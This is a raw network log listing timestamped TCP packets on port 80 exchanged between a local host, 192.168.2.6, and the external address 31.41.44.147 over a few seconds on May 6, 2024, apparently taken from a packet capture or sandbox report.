May 6, 2024 02:52:58.608851910 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.834295034 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.868849039 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:58.868927956 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:58.869148016 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.171603918 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.221436024 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.221554041 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.221674919 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.221674919 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.221715927 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.221744061 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.221757889 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.221774101 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.222337008 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.222376108 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.222444057 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.222481966 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.312685013 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.312700033 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.312782049 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.312803984 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.312815905 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.312841892 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.312854052 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.312900066 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.481677055 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.481694937 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.481708050 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.481719971 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.481740952 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.481787920 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.481811047 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.481822014 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.481836081 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.481848955 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.481868982 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.481893063 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.482300997 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.482314110 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.482325077 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.482341051 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.482342005 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.482362986 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.482386112 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.572695017 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.572712898 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.572726011 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.572738886 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.572755098 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.572763920 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.572770119 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.572782040 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.572793007 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.572818041 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.572835922 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.741744995 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.741806030 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.741827965 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.741872072 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.741882086 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.741898060 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.741911888 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.741925955 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.741951942 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.742017984 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.742033958 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.742058992 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.742084980 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.742105007 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.742120028 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.742135048 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.742146969 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.742156029 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.742163897 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.742175102 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.742182970 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.742191076 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.742204905 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.742204905 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.742222071 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.742224932 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.742238998 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.742247105 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.742283106 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.742284060 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.742289066 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.742300034 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.742305040 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.742321014 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.742331982 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.742336035 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.742351055 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.742358923 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.742366076 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.742388010 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.742394924 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.742405891 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.742436886 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.832478046 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.832495928 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.832561016 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.832561970 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.832576990 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.832587957 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.832597971 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.832597971 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.832606077 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.832624912 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.832637072 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.832636118 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.832648993 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.832662106 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.832665920 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.832673073 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.832674026 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.832720995 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.832721949 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.832734108 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.832746029 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.832748890 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.832748890 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.832761049 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.832775116 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:52:59.832782984 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:59.832817078 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.001785040 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.001801014 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.001811981 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.001826048 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.001838923 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.001852036 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.001913071 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.001933098 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.001939058 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.001971006 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.001983881 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.001990080 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002024889 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002024889 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002089024 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002125025 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002137899 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002149105 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002156019 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002156019 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002183914 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002196074 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002337933 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002351046 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002361059 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002372980 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002383947 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002384901 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002384901 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002398968 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002410889 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002413034 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002425909 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002434015 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002439022 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002450943 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002463102 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002471924 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002471924 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002475977 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002489090 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002501011 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002507925 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002518892 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002523899 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002536058 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002547979 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002558947 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002563953 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002563953 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002573013 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002584934 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002599001 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002599001 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002619028 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002630949 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002634048 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002646923 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002652884 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002660036 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002671957 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002682924 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002682924 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002686024 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002700090 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002715111 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002727032 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002732992 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002742052 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002763987 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002763987 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002785921 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002799034 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002799034 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002811909 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002824068 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.002826929 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002835989 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.002865076 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.092727900 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.092745066 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.092806101 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.092806101 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.092890024 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.092902899 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.092937946 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.092950106 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.092978001 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.093040943 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.093118906 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.093132019 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.093154907 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.093156099 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.093168974 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.093182087 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.093188047 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.093188047 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.093228102 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.093228102 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.093913078 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.093947887 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.093952894 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.093982935 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.094050884 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.094068050 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.094079971 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.094093084 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.094093084 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.094105959 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.094108105 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.094135046 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.094142914 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.094172955 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.094183922 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.094187021 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.094214916 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.094239950 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.094270945 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.094283104 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.094311953 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.094357967 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.094367981 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.094367981 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.094368935 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.094382048 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.094393015 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.094396114 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.094408989 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.094412088 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.094424009 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.094469070 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.094501019 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.094515085 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.094526052 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.094538927 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.094541073 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.094566107 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.094594955 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.261709929 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.261724949 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.261738062 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.261805058 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.261805058 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.261868000 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.261884928 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.261897087 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.261909962 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.261913061 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.261924982 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.261939049 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.261940002 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.261951923 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.261953115 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.261992931 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.261992931 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262017012 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262028933 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262038946 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262052059 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262061119 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262061119 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262064934 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262083054 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262098074 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262110949 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262120962 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262128115 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262140989 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262150049 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262150049 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262152910 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262165070 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262166023 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262180090 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262192011 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262203932 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262204885 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262219906 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262226105 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262232065 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262259960 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262259960 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262343884 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262356043 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262394905 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262394905 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262418985 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262432098 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262442112 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262453079 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262487888 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262487888 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262490034 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262502909 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262520075 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262531042 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262531042 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262553930 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262579918 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262579918 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262588978 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262602091 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262641907 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262676001 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262718916 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262727022 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262738943 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262751102 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262758970 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262784004 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262830019 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262876034 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262892962 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262906075 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262917042 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262928963 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262936115 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262936115 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262943029 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262953043 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:00.262955904 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:00.262972116 CEST	80	49718	31.41.44.147	192.168.2.6
